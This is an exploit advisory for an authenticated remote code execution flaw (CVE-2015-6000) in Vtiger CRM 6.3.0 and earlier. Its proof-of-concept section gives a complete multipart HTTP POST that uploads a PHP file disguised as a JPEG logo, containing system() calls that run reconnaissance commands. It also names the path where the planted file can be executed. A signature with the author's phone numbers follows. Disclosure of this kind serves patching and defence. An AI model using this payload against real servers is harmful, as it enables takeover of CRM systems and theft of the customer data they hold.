Vtiger CRM 6.3.0 - Authenticated Remote Code Execution

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# Exploit Title: Vtiger CRM <= 6.3.0 Authenticated Remote Code Execution

# Date: 2015-09-28

# Exploit Author: Benjamin Daniel Mussler

# Vendor Homepage: https://www.vtiger.com

# Software Link: https://www.vtiger.com/open-source-downloads/

# Version: 6.3.0 (and lower)

# Tested on: Linux (Ubuntu)

# CVE : CVE-2015-6000

# Source: http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html





=== Description ===



Vtiger CRM's administration interface allows for the upload of a company

logo. Instead of uploading an image, an attacker may choose to upload a

file containing PHP code and run this code by accessing the resulting

PHP file.



Detailed description:

http://b.fl7.de/2015/09/vtiger-crm-authenticated-rce-cve-2015-6000.html





=== PoC ===



Through a specially crafted HTTP-POST request, a PHP file is stored on

the server hosting the Vtiger CRM software:



    POST /index.php HTTP/1.1

    Host: [...]

    Cookie: [...]

    Connection: keep-alive

    Content-Type: multipart/form-data; boundary=---------------------------51732462825208

    Content-Length: 2040



    -----------------------------51732462825208

    Content-Disposition: form-data; name="__vtrftk"



    [...]

    -----------------------------51732462825208

    Content-Disposition: form-data; name="logo"; filename="2.php"

    Content-Type: image/jpeg



    <? system('id; uname -a; /sbin/ifconfig -a'); system('cat ../../vtigerversion.php'); ?>

    -----------------------------51732462825208

    Content-Disposition: form-data; name="address"

    [...]





The resulting PHP file can then be accessed at



        [Vtiger URL]/test/logo/2.php











- --

  Benjamin Daniel MUSSLER



  Ix-Xgħajra, Malta     Tel (MT) +356 9965 3798

  Karlsruhe, Germany     Tel (DE) +49 721 989 0150

  Web: https://FL7.DE     PGP: https://FL7.DE/pgp/

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